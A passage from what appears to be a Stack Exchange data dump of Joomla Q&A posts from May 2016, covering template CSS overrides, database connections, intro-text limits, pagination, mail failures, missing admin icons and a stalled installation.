BY-SA 3.0" />
  <row Id="16605" PostTypeId="2" ParentId="16595" CreationDate="2016-05-20T19:06:40.860" Score="0" Body="&lt;p&gt;Reading through some of the Gavick Pro documentation, I believe you will need to firstly put all your font files in the following directory:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;templates/gk_simplicity/css/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Once done, in the Template settings, set &lt;strong&gt;CSS Override&lt;/strong&gt; to &lt;strong&gt;Enabled&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Then, copy and paste the code from your &lt;code&gt;social.css&lt;/code&gt; into the &lt;code&gt;override.css&lt;/code&gt; file that they provide you with or the textarea named &quot;&lt;strong&gt;Custom CSS Code&lt;/strong&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Using this method to &lt;em&gt;override&lt;/em&gt; what is already there, rather than &lt;em&gt;alter&lt;/em&gt; it, means that your changes will not be lot in a template update&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-05-20T19:06:40.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16606" PostTypeId="2" ParentId="16601" CreationDate="2016-05-20T19:56:14.463" Score="1" Body="&lt;p&gt;If you are using third party extensions and they don't have a matching Smart Search plug-in, then Joomla's search can be pretty limited.  You need to have plug-ins enabled for each component's content to appear in the results, and even then it's not always that accurate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When searching is important, I  tend to use Google's Custom Search.  Ultimately, Google's algorythm is going to be vastly superior to any self-hosted PHP one since high quality search results are such a complicated thing to get right.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main downside to using Google Custom Search is that your pages need to be indexed before they appear, rather than appearing as soon as they are published, and that you need to pay to remove the adverts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, this will only work if you want users to search the site's front-end content rather than search hidden content such as a database or that content which is only available to logged in users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a plug-in to add Custom Search to your site &lt;a href=&quot;http://extensions.joomla.org/extension/googlesearch-cse-component&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; (I have never used this so can not guarantee it works), though if you have any development knowledge, you'd probably be better writing your own module. &lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2016-05-20T19:56:14.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16607" PostTypeId="2" ParentId="5711" CreationDate="2016-05-21T21:40:23.347" Score="0" Body="&lt;p&gt;Easy way to solve the problem is: If you have a backup of your joomla 3 database, then use the tabell _extensions. You can from phpmyadmin delete (drop)this tabell, and upload (import)a new. If you don't have a copy, the just make a new directory named &quot;test&quot; or what ever you will. Make a new database on your server named &quot;test&quot; or what ever you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now upload joomla to your test directory, and install joomla there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When it is done, go to phpadmin, choose the database &quot;test&quot; then you can download (export)the tabell _extensions Now go back to your original database and delete the tabell &quot;_extensions&quot;, when your done, import the new whatevername.sql you downloaded. When import is done, you can log in to your admin panel on joomla.&lt;/p&gt;&#xA;" OwnerUserId="8441" LastActivityDate="2016-05-21T21:40:23.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16608" PostTypeId="1" CreationDate="2016-05-22T00:12:53.620" Score="2" ViewCount="2185" Body="&lt;p&gt;How do i set the default number of characters of INTRO TEXT before a &quot;Read more&quot; button is displayed on all my &quot;Blogs&quot; in Category Blog view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now, all of the blogs show it's entire content which looks very long.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a menu item for &quot;Category Blogs&quot; and a few articles under the &quot;Blog&quot; category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am surprised this is a feature not built into Joomla. I do not want my users to need to manually insert a &quot;Read more&quot; button into their articles at different places.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="7171" LastEditorUserId="7394" LastEditDate="2020-05-14T21:12:16.537" LastActivityDate="2020-05-14T21:12:16.537" Title="How do I set a default &quot;Intro text&quot; limit?" Tags="|category-blog|readmore|intro-text|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16610" PostTypeId="2" ParentId="4824" CreationDate="2016-05-22T08:12:25.727" Score="1" Body="&lt;p&gt;If you wish to connect to an external data source (a different database than the one your Joomla site is using), &#xA;And you have control over your component or module, You should modify the model that receives the data an instead of using &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Initiate a new connection like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$option = array(); //prevent problems&#xA;&#xA;$option['driver']   = 'mysql';            // Database driver name&#xA;$option['host']     = 'db.myhost.com';    // Database host name&#xA;$option['user']     = 'fredbloggs';       // User for database authentication&#xA;$option['password'] = 's9(39s£h[%dkFd';   // Password for database authentication&#xA;$option['database'] = 'bigdatabase';      // Database name&#xA;$option['prefix']   = 'abc_';             // Database prefix (may be empty)&#xA;&#xA;$db = JDatabaseDriver::getInstance( $option );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and process the received data just like any other model data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it helps&lt;/p&gt;&#xA;" OwnerUserId="8442" LastActivityDate="2016-05-22T08:12:25.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16612" PostTypeId="1" CreationDate="2016-05-22T12:26:49.213" Score="2" ViewCount="155" Body="&lt;p&gt;Is there a way I can port data from one mysql database table and transfer it to another mysql database table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;both of these mysql databases are joomla databases, and i would like to transfer table_users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way i can automate this process, maybe use a cronjob.&lt;/p&gt;&#xA;" OwnerUserId="1582" LastEditorUserId="1582" LastEditDate="2016-05-22T12:34:49.740" LastActivityDate="2016-09-19T20:06:58.770" Title="porting data from mysql to another mysql database" Tags="|joomla-3.x|php|mysql|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16613" PostTypeId="2" ParentId="16612" CreationDate="2016-05-22T13:40:51.340" Score="0" Body="&lt;p&gt;You can simply create 3 MySql queries (if it's not custom DB tables) like&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;insert ... select ...&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so it will select data as you need it and insert into another table in 1 transaction so migration of half million records will be done in up to 20 seconds.&#xA;I can give you more specific for you details if you email me kosarev@joomplace.com&lt;/p&gt;&#xA;" OwnerUserId="8261" LastActivityDate="2016-05-22T13:40:51.340" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16614" PostTypeId="2" ParentId="16602" CreationDate="2016-05-22T13:46:50.057" Score="1" Body="&lt;p&gt;It's simple as that:&#xA;just correct your own rule to be like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.hikashop_product_price {display: none;}&#xA;.hikashop_product_price.hikashop_product_price_0 {display: block;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so first selector hides everything&#xA;and second shows your specific item&lt;/p&gt;&#xA;" OwnerUserId="8261" LastEditorUserId="168" LastEditDate="2016-05-25T14:17:14.913" LastActivityDate="2016-05-25T14:17:14.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16615" PostTypeId="2" ParentId="16587" CreationDate="2016-05-22T13:54:56.417" Score="1" Body="&lt;p&gt;There 2 things to check: &#xA;first of all is email count registration is completed - some services requests additional data filled at account before it can send email (spent 5 hours to find this issue once)&#xA;second - is there right authentication protocol chosen in Joomla mail server configuration&lt;/p&gt;&#xA;" OwnerUserId="8261" LastActivityDate="2016-05-22T13:54:56.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16616" PostTypeId="2" ParentId="16589" CreationDate="2016-05-22T13:59:43.637" Score="1" Body="&lt;p&gt;Either you need to have &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$tickettype-&amp;gt;unlimited_seats = 1;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or just&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;echo JHtml::_('select.genericlist', $unlimited_seats_options, &quot;ticket_type_unlimited_seats[]&quot;, 'class=&quot;chzn-done jticket_access&quot; onchange=&quot;togglefield(this,\'ticket_type_available_field\')&quot; data-chosen=&quot;com_jticketing&quot;', &quot;value&quot;, &quot;text&quot;, 1,&quot;ticket_type_unlimited_seats_&quot;.$j);&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="8261" LastEditorUserId="8261" LastEditDate="2016-05-22T22:09:28.473" LastActivityDate="2016-05-22T22:09:28.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16617" PostTypeId="2" ParentId="15330" CreationDate="2016-05-22T15:00:41.213" Score="1" Body="&lt;p&gt;This is because each search form change triggers form submit&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you need to return &quot;task&quot; field to it's default value, wich is empty by default&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function submitForm(){ this.form.submit(); jQuery('input[name=&quot;task&quot;]').val(&quot;&quot;);  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8261" LastEditorUserId="8261" LastEditDate="2016-05-22T16:56:15.647" LastActivityDate="2016-05-22T16:56:15.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16618" PostTypeId="2" ParentId="15341" CreationDate="2016-05-22T17:03:58.280" Score="1" Body="&lt;p&gt;check out your acl table, it may happen that way that super admin was excluded from special ACL&lt;/p&gt;&#xA;" OwnerUserId="8261" LastActivityDate="2016-05-22T17:03:58.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16619" PostTypeId="2" ParentId="14978" CreationDate="2016-05-22T17:10:47.520" Score="2" Body="&lt;pre&gt;&lt;code&gt;$query-&amp;gt;select('a.virtuemart_product_id')&#xA;-&amp;gt;from('#__virtuemart_product_categories AS a')&#xA;-&amp;gt;select('(CASE WHEN '.$db-&amp;gt;qn('b.product_override_price').' &amp;gt; 0 &#xA;THEN '.$db-&amp;gt;qn('b.product_override_price').&#xA;' WHEN '.$db-&amp;gt;qn('b.product_discount_id').' &amp;gt; 0 &#xA;THEN '.$db-&amp;gt;qn('b.product_price').' - ('.$db-&amp;gt;qn('b.product_discount_id').' * '.$db-&amp;gt;qn('b.product_price').' / 100) &#xA;WHEN '.$db-&amp;gt;qn('b.product_price').' &amp;lt; 1 &#xA;THEN 1 ELSE '.$db-&amp;gt;qn('b.product_price').' END)&#xA;as '.$db-&amp;gt;qn('final_price'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8261" LastEditorUserId="126" LastEditDate="2016-05-23T06:48:18.890" LastActivityDate="2016-05-23T06:48:18.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16620" PostTypeId="2" ParentId="15437" CreationDate="2016-05-22T17:23:22.600" Score="1" Body="&lt;p&gt;Well, you can go dum and override your custom_field getInput() function so your field name will be without jfrom part, but this is not good.&#xA;What you need is just make sure you use $this-&gt;value inside your custom_field.php as it cares value that user had sent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if it is not - it must be something wrong with populateState() and getForm() inside your model.php&lt;/p&gt;&#xA;" OwnerUserId="8261" LastActivityDate="2016-05-22T17:23:22.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16621" PostTypeId="2" ParentId="16588" CreationDate="2016-05-22T17:32:46.910" Score="1" Body="&lt;p&gt;It's very simple:&#xA;you just need to be sure that you have different Access Level for those groups, if you don't - go and make sure about it. (Manage Users - Access Levels)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then go to your plugins settins and choose required Access Level for each plugin.&lt;/p&gt;&#xA;" OwnerUserId="8261" LastEditorUserId="188" LastEditDate="2016-11-22T23:42:37.893" LastActivityDate="2016-11-22T23:42:37.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16622" PostTypeId="2" ParentId="16574" CreationDate="2016-05-22T17:55:02.173" Score="1" Body="&lt;p&gt;Try to change it to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;+$dt days&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, I may be wrong but, I believe you must provide dates in correct order as if dates diff is &amp;lt;0 then it would return 0 which corresponds to 01/01/1970&lt;/p&gt;&#xA;" OwnerUserId="8261" LastEditorUserId="8261" LastEditDate="2016-05-22T18:03:58.263" LastActivityDate="2016-05-22T18:03:58.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16623" PostTypeId="2" ParentId="16527" CreationDate="2016-05-22T18:10:09.357" Score="0" Body="&lt;p&gt;Simply - it's for ordering in subsets.&#xA;If need real info about it - see Wiki &quot;Nested Sets&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Concerning Joomla and adding menu items via custom PHP - it's simple if you use what provided here &lt;a href=&quot;https://docs.joomla.org/Using_nested_sets&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Using_nested_sets&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Concerning of what you should to keep in mind - #__assets table also uses Nested Sets&lt;/p&gt;&#xA;" OwnerUserId="8261" LastActivityDate="2016-05-22T18:10:09.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16624" PostTypeId="2" ParentId="16558" CreationDate="2016-05-22T18:16:46.140" Score="0" Body="&lt;p&gt;Check HTML folder in your template and check menu overrides. May be some one hardcoded 'ordering' in it.&lt;/p&gt;&#xA;" OwnerUserId="8261" LastActivityDate="2016-05-22T18:16:46.140" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16625" PostTypeId="2" ParentId="16608" CreationDate="2016-05-22T22:07:30.447" Score="0" Body="&lt;p&gt;Well if you really need to use something like this - then you'll need to create JTableObserverContentLimiter for example. (&lt;a href=&quot;https://groups.google.com/forum/#!topic/joomla-dev-general/KWCTyD1Ga_8&quot; rel=&quot;nofollow&quot;&gt;more info&lt;/a&gt;)&#xA;And check onBeforeSave if text has &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;hr class=&quot;readmore&quot;&amp;gt;&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;or not. And if it doesn't - add it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need detailed help with it - email me, kosarev@joomplace.com&lt;/p&gt;&#xA;" OwnerUserId="8261" LastActivityDate="2016-05-22T22:07:30.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16626" PostTypeId="2" ParentId="1073" CreationDate="2016-05-22T22:25:17.907" Score="0" Body="&lt;p&gt;There is the issue with joomla pagination - you need to keep track of both start and limitstart as far as I know, because pagination link is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;a href=&quot;#&quot; onclick=&quot;document.adminForm.limitstart.value=5; Joomla.submitform();return false;&quot;&amp;gt;2&amp;lt;/a&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And hidden input is also &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;limitstart&quot; value=&quot;0&quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I believe if you'll keep track of this - you'll be fine.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;But what if you-ll avoid this problem at all?&#xA;Joomla pagination works in &lt;code&gt;&amp;lt;form&amp;gt;&lt;/code&gt; so if you'll add &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;form method=&quot;POST&quot;&amp;gt;&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;it will respect it end send your listlimit value quietly.&lt;/p&gt;&#xA;" OwnerUserId="8261" LastActivityDate="2016-05-22T22:25:17.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16627" PostTypeId="2" ParentId="16608" CreationDate="2016-05-22T22:41:32.643" Score="1" Body="&lt;p&gt;At the time we don't have an automatic feature for this in the core, you can do this manually&lt;br/&gt; by adding one by one in your content or you can add a custom code via &lt;a href=&quot;https://docs.joomla.org/Understanding_Output_Overrides&quot; rel=&quot;nofollow&quot;&gt;override&lt;/a&gt; for the blog layout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also you can try with one extension in order to automate more this process, here you have&lt;br/&gt; two possible options:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/news-display/article-elements/read-less-text&quot; rel=&quot;nofollow&quot;&gt;Read Less - Text&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/news-display/article-elements/brtech-readmore&quot; rel=&quot;nofollow&quot;&gt;BRTech Readmore&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Regards.&lt;/p&gt;&#xA;" OwnerUserId="7394" LastEditorUserId="7394" LastEditDate="2016-05-23T09:17:55.630" LastActivityDate="2016-05-23T09:17:55.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16628" PostTypeId="2" ParentId="16492" CreationDate="2016-05-23T04:10:16.290" Score="1" Body="&lt;p&gt;Remove the Featured Article identifier before Unpublished. &#xA;make it sure to Clear your browser cache before viewing your site again.&lt;/p&gt;&#xA;" OwnerUserId="8440" LastActivityDate="2016-05-23T04:10:16.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16629" PostTypeId="2" ParentId="16492" CreationDate="2016-05-23T06:37:15.383" Score="0" Body="&lt;p&gt;It sounds like you're logged in at front-end, try to go with browser in incognito mode and check if issue appears.&lt;/p&gt;&#xA;" OwnerUserId="8261" LastActivityDate="2016-05-23T06:37:15.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16630" PostTypeId="2" ParentId="15818" CreationDate="2016-05-23T06:42:01.923" Score="1" Body="&lt;p&gt;If it's your own custom module - go with another answer solution, but if it's not yours - I suggest you to go with JCH Optimizer - free version fully covers your needs.&lt;/p&gt;&#xA;" OwnerUserId="8261" LastActivityDate="2016-05-23T06:42:01.923" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16631" PostTypeId="2" ParentId="16587" CreationDate="2016-05-23T08:21:45.647" Score="2" Body="&lt;p&gt;Found the problem, the server had the &lt;code&gt;fsockopen()&lt;/code&gt; function disabled for security, which PHPMailer 2.1.4 (included with Joomla 2.5) uses. The issue was not present on Joomla 3.5 sites, as these use PHPMalier 2.1.14, which does not use this function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Removing the function from the &lt;code&gt;disabled_functions&lt;/code&gt; section of php.ini restored the email functionality to all Joomla 2.5 sites. Still a bit strange how there was no error message though.&lt;/p&gt;&#xA;" OwnerUserId="7762" LastActivityDate="2016-05-23T08:21:45.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16632" PostTypeId="2" ParentId="15368" CreationDate="2016-05-23T09:00:21.350" Score="2" Body="&lt;p&gt;You can simply do this by using a core plugin...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Will obtain user object - what the question author needed.&#xA;$user = JFactory::getUser($uid);&#xA;&#xA;//Will authorize you as this user.&#xA;JPluginHelper::importPlugin('user');&#xA;$options = array();&#xA;$options['action'] = 'core.login.site';&#xA;$response-&amp;gt;username = $user-&amp;gt;username;&#xA;$result = $app-&amp;gt;triggerEvent('onUserLogin', array((array)$response, $options));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8173" LastEditorUserId="115" LastEditDate="2016-05-24T23:06:59.397" LastActivityDate="2016-05-24T23:06:59.397" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16634" PostTypeId="1" CreationDate="2016-05-23T10:04:37.177" Score="0" ViewCount="213" Body="&lt;p&gt;I have a Joomla 2.5 site that until yesterday I had only one language installed, but I made it multilanguage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that Im getting this error on specific pages:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;500 - DateTime::__construct(): Failed to parse time string (vendredi 22 avril 2016) at position 0 (v): The timezone could not be found in the database&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Searching at google I found out this is a common bug on Joomla 3+ . Most common problem is the dirs of &lt;strong&gt;tmp&lt;/strong&gt; and &lt;strong&gt;logs&lt;/strong&gt; at &lt;strong&gt;configuration.php&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked and both the dirs are correct and they exist. I checked the permissions too and they are also correct.&#xA;I unpublished the &lt;strong&gt;Admin Tools&lt;/strong&gt; component because someone said it could be the problem, but nothing changed.&#xA;I set the date.timezone in my php.ini that had no value before.&#xA;I don't get any error at my error_log considering this issue so I cant debug further.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Joomla 2.5.28.Has anyone met something like that before ? &lt;/p&gt;&#xA;" OwnerUserId="2225" LastEditorUserId="2225" LastEditDate="2016-05-23T10:45:08.043" LastActivityDate="2016-05-23T10:45:08.043" Title="500 - DateTime::__construct(): Failed to parse time string error After making the site multilanguage" Tags="|joomla-2.5|multilingual|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16635" PostTypeId="1" CreationDate="2016-05-23T11:09:16.513" Score="3" ViewCount="381" Body="&lt;p&gt;I cannot install Joomla (on Ubuntu 12.04, Apache, MySQL). All required prerequisites seem to be met, but after hitting the final install button, a popup appears (see attached image), but nothing happens. Also, a check on the server seems to indicate that no files or mysql activity takes place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I retried with several different versions of Joomla, without success.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can this be, or where can I look more closely what is supposed to happen at this very stuck moment?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Kps1s.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Kps1s.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8218" LastActivityDate="2016-05-23T13:58:05.653" Title="Joomla install does not start" Tags="|joomla-3.x|installation|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16636" PostTypeId="2" ParentId="16635" CreationDate="2016-05-23T13:58:05.653" Score="3" Body="&lt;p&gt;The problem was simple (as always: at least in hindsight). A bad server configuration caused no errors or log entries server-side because the actual problem happened client-side: Following the suggestion made by &lt;em&gt;Lodder&lt;/em&gt;, I checked the console output in Chrome and found complaints about &lt;code&gt;Content-Security-Policy&lt;/code&gt; (which I had thought was still in &lt;code&gt;Report-Only&lt;/code&gt; mode, but wasn't). In order for the installation to continue (and finish), the CSP policy needs to contain the (fairly insecure) setting &lt;code&gt;script-src 'self' 'unsafe-inline' 'unsafe-eval'&lt;/code&gt;. Once I modified the CSP header accordingly, the installation went fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wish that among the green check marks in the Pre-Installation Check table, there'd be one also checking this ...&lt;/p&gt;&#xA;" OwnerUserId="8218" LastActivityDate="2016-05-23T13:58:05.653" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16638" PostTypeId="2" ParentId="16172" CreationDate="2016-05-23T23:47:54.850" Score="1" Body="&lt;p&gt;The problem may be in URLs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please make sure that when language switches you stay on the same site version and not going from www to non-www and vice versa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cause if this is changed - you may be logged in at first version and you would be logged out at second.&lt;/p&gt;&#xA;" OwnerUserId="8261" LastActivityDate="2016-05-23T23:47:54.850" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16639" PostTypeId="2" ParentId="16590" CreationDate="2016-05-24T04:37:35.947" Score="0" Body="&lt;p&gt;There are two things here there is or was an alias that shared the same name. Once this has been found figure out which menu this should actually go into. Now it sounds like you have another menu that you would like to have a home menu to as well, but you don't want to have two different &quot;home&quot; &quot;home2&quot; pages, not a problem, on the second menu go ahead and click add new menu item, System Links, Menu Item Alias.  You can name this whatever you would like, but the jist of it is that it will still revert back to your original home page, and have the correct seo in the URL String. In alot of cases I will actually have my main menu in the footer of the page, with aliases in the &quot;main menu&quot; bar of my template. This way I can keep better track of them, and I can point the Google Robots to find the main menu at the bottom of the page with a little code. &lt;/p&gt;&#xA;" OwnerUserId="3702" LastActivityDate="2016-05-24T04:37:35.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16640" PostTypeId="1" CreationDate="2016-05-24T04:45:14.530" Score="0" ViewCount="1543" Body="&lt;p&gt;I have noticed on a site that I have logged into recently that alot of the icons are missing from throughout the site, instead there are symbols in the place of the icons.  I'm noticing it on the administrator login page along with any other backend page. The front end seems fine, just on the backend. &lt;a href=&quot;https://i.stack.imgur.com/5wzOG.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5wzOG.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3702" LastActivityDate="2016-11-20T10:41:50.380" Title="Joomla Icons missing with odd symbols" Tags="|joomla-3.x|icon|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16641" PostTypeId="2" ParentId="16640" CreationDate="2016-05-24T06:16:34.663" Score="1" Body="&lt;p&gt;You are missing IcoMoon font or files are corrupted. Check into &lt;code&gt;media/jui/fonts&lt;/code&gt; folder and see if IcoMoon files exist. If not, you can download them from &lt;a href=&quot;https://github.com/joomla/joomla-cms&quot; rel=&quot;nofollow&quot;&gt;Joomla! official github repository&lt;/a&gt; in &lt;a href=&quot;https://github.com/joomla/joomla-cms/tree/staging/media/jui/fonts&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. Just upload those files to &lt;code&gt;media/jui/fonts&lt;/code&gt; and it should fix that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe someone has accidently deleted font files. But it would be good to just override all Joomla! core files to be sure nothing more is missing. You can download your specific version from &lt;a href=&quot;https://github.com/joomla/joomla-cms/releases&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. Then upload all files and directories (except &lt;code&gt;installation&lt;/code&gt; directory) to root of Joomla!.&lt;/p&gt;&#xA;" OwnerUserId="3944" LastActivityDate="2016-05-24T06:16:34.663" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16642" PostTypeId="2" ParentId="16640" CreationDate="2016-05-24T06:32:48.087" Score="1" Body="&lt;p&gt;Check your htaccess rules, and match protocols - they can sometimes trigger cross origin block.&lt;/p&gt;&#xA;" OwnerUserId="8261" LastActivityDate="2016-05-24T06:32:48.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16643" PostTypeId="2" ParentId="14877" CreationDate="2016-05-24T06:35:33.063" Score="1" Body="&lt;p&gt;Category → article → select the category → then give the article tittle → select one image and insert into the article working space.&#xA;Now select the image tools → source code → style='float :left; padding-right: 10px;”&#xA;press save then choose the article image → insert/edit image → select the option like dimensions,alignment,margin,border.&#xA;The above mentioned settings are available in the image manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set the horizontal menu space:&#xA;login into joomla&#xA;In the top menu, click Extensions and then click Module Manager. &#xA;Select the main menu → edit → advanced options. &#xA;Choose menu class suffix → type nav-pills.&#xA;Important:before typing nav-pills give one space&lt;/p&gt;&#xA;" OwnerUserId="8440" LastActivityDate="2016-05-24T06:35:33.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
